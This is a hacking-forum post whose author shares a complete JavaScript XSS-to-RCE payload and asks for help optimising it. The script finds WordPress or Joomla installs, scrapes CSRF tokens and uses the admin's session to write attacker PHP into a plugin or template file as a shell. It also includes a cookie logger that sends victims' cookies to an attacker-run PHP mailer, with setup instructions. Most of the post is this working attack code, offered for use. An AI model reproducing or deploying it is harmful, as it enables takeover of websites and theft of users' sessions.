XSS to RCE 12-04-2015, 05:38 PM
#1
Hey all,
the last few days i have read here some things and the most interesting thing was :
https://github.com/Prochainezo/xss2shell
but somehow i was thinking this code is just crap and the generator is unnecessary.
so i created a full js code which autodetect 2 cms systems : Wordpress / Joomla and then try's to write a file to the plugins, which then lead to a Remote Code Execution.
Things my tool can do :
XSS to RCE for Wordpress & Joomla
CookieLogging to email
Wordpress & Joomla autosearch over 2 way's (bruteforce & path analyzing)
(Another point of using my code is that it is pretty fast (asynchrone))
I hope you like it and pleas do criticise the code as much as you can, and pleas write how to improve the speed and the size of the file.
The include of this file is like normal script inclusion :
Regards B!t
the last few days i have read here some things and the most interesting thing was :
https://github.com/Prochainezo/xss2shell
but somehow i was thinking this code is just crap and the generator is unnecessary.
so i created a full js code which autodetect 2 cms systems : Wordpress / Joomla and then try's to write a file to the plugins, which then lead to a Remote Code Execution.
Things my tool can do :
XSS to RCE for Wordpress & Joomla
CookieLogging to email
Wordpress & Joomla autosearch over 2 way's (bruteforce & path analyzing)
(Another point of using my code is that it is pretty fast (asynchrone))
I hope you like it and pleas do criticise the code as much as you can, and pleas write how to improve the speed and the size of the file.
Code:
/*
Created by B!t / www.sinister.ly
Idea : https://github.com/Prochainezo/xss2shell
*/
var configuration_UrlGuessing=true;
var configuration_DirectoryGuessing=true;
/*
LoadPayloadFromFile will upload a specific file from a external recources into the Target
If not used just let it empty and use Payload instead.
The payload should not contains any <?php or ?> because the external code got evaled.
*/
var configuration_LoadPayloadFromFile="";
var configuration_Payload="<?php echo 123456;?>";
/*
The CookieLoggin working only if you have setup the LogServer in the right way.
Steps to do that :
1. create a new file on your webserver in the www directory called : CookieLogger.php
2. put this information into it : <?php echo mail($_POST["p1"],$_POST["p2"],$_POST["p3"]);?>
3. put the full Path to this file into the variable configuration_CookieLoggerServer
Example : var configuration_CookieLoggerServer="http://example.com/dir/CookieLogger.php";
4. switch the configuration_CookieLogger to true
5. set your Email into this field : configuration_CookieLoggerReceiver
Example : var configuration_CookieLoggerReceiver="123456@trashmail.de";
*/
var configuration_CookieLogger=false;
var configuration_CookieLoggerServer="";
var configuration_CookieLoggerReceiver="";
if(configuration_CookieLogger){
send_email(configuration_CookieLoggerReceiver,"Logger at " + document.domain+ " Date : " + new Date(),"Location : " + document.location.href + "\nCookie : " + document.cookie);
}
if(configuration_LoadPayloadFromFile!=""){
configuration_Payload=encodeURI("<?php eval(file_get_contents(\"" + configuration_LoadPayloadFromFile + "\"));?>");
detectcms();
}else if(configuration_Payload!=""){
configuration_Payload=encodeURI(configuration_Payload);
detectcms();
}
function send_email(toEmail,title,text){
httpPost(configuration_CookieLoggerServer,"p1=" + encodeURI(toEmail) + "&p2=" + encodeURI(title) + "&p3="+encodeURI(text),function(page,url){
if(page.indexOf("1")!=-1){
console.log("email sended");
}
});
}
function attackWorpress(pathtowpinstallation){
httpGet(pathtowpinstallation + "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php",function(page,url){
var regExp = /_wpnonce" value="(.*?)"/;
var matches = regExp.exec(page);
if(matches!=null){
var csrftoken = matches[1];
httpPost(pathtowpinstallation + "/wp-admin/plugin-editor.php", "_wpnonce=" + csrftoken + "&_wp_http_referer=" + pathtowpinstallation + "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php&newcontent=" + configuration_Payload + "&action=update&file=hello.php&plugin=hello.php&scrollto=0&submit=Update+File",function(done,url){
httpGet(pathtowpinstallation + "/wp-content/plugins/hello.php",function(content,url){
console.log("shell at : " + pathtowpinstallation + "/wp-content/plugins/hello.php")
});
});
}
});
}
function attackJoomla(pathtojoinstallation){
httpPost(pathtojoinstallation + "/administrator/index.php?option=com_templates&view=template&id=507&file=L3BheS5waHA%3D","type=php&name=pay&address=",function(page,url){
var regExp = /type="hidden" name="(.*?)" value="1"/;
var matches = regExp.exec(page);
if(matches!=null){
var csrftoken = matches[1];
httpPost(pathtojoinstallation + "/administrator/index.php?option=com_templates&view=template&id=507&file=L3BheS5waHA%3D", "jform%5Bsource%5D=" + configuration_Payload + "&task=template.save&" + csrftoken + "=1&jform%5Bextension_id%5D=507&jform%5Bfilename%5D=%2Fpay.php",function(done,url){
httpGet(pathtojoinstallation + "/administrator/templates/isis/pay.php",function(content,url){
console.log("shell at : " + pathtojoinstallation + "/administrator/templates/isis/pay.php")
});
});
}
});
}
function detectcms(){
var optionalTryHarder=true;
if(configuration_UrlGuessing){
optionalTryHarder=false;
var url=location.pathname;
if(url.indexOf("/wp-content/")!=-1){ //WP STUFF
attackWorpress(url.substring(0,url.indexOf("/wp-content/")));
}else if(url.indexOf("/wp-includes/")!=-1){ //WP STUFF
attackWorpress(url.substring(0,url.indexOf("/wp-includes/")));
}else if(url.indexOf("/wp-admin/")!=-1){ //WP STUFF
attackWorpress(url.substring(0,url.indexOf("/wp-admin/")));
}else if(url.indexOf("/plugins/")!=-1){ //JO STUFF
attackJoomla(url.substring(0,url.lastIndexOf("/plugins/")));
}else if(url.indexOf("/templates/")!=-1){ //JO STUFF
attackJoomla(url.substring(0,url.lastIndexOf("/templates/")));
}else if(url.indexOf("/modules/")!=-1){ //JO STUFF
attackJoomla(url.substring(0,url.lastIndexOf("/modules/")));
}else if(url.indexOf("/components/")!=-1){ //JO STUFF
attackJoomla(url.substring(0,url.lastIndexOf("/components/")));
}else{
optionalTryHarder=true;
}
}
if(configuration_DirectoryGuessing && optionalTryHarder){
var pathswp=["/","/wp/","/wordpress/","/blog/"];
for(var i=0;i<pathswp.length;i++){
httpGet("http://"+document.domain+pathswp[i]+"license.txt",function(data,url){
if(data.toLowerCase().indexOf("wordpress")!=-1){
attackWorpress(url.substring(0,url.lastIndexOf("/")));
}
});
}
var pathsjo=["/","/jo/","/joomla/","/blog/"];
for(var i=0;i<pathsjo.length;i++){
httpGet("http://"+document.domain+pathsjo[i]+"README.txt",function(data,url){
if(data.toLowerCase().indexOf("joomla")!=-1){
attackJoomla(url.substring(0,url.lastIndexOf("/")));
}
});
}
}
}
function httpPost(theUrl, post,func){
var xmlHttp = null;
xmlHttp = new XMLHttpRequest();
xmlHttp.open("POST",theUrl,false);
xmlHttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlHttp.onreadystatechange = function() {
if (this.readyState == 4) {
if(this.status == 200){
func(this.responseText,theUrl);
}
}
}
xmlHttp.send(post);
}
function httpGet(theUrl,func){
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if(this.readyState == 4){
if(this.status == 200){
func(this.responseText,theUrl);
}
}
}
xmlHttp.open("GET",theUrl,true);
xmlHttp.send(null);
}The include of this file is like normal script inclusion :
Code:
<script language="javascript" type="text/javascript" src="LevelRange.js"></script>Regards B!t
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
![[Image: 7ajmN5P.jpg]](https://i.imgur.com/7ajmN5P.jpg)
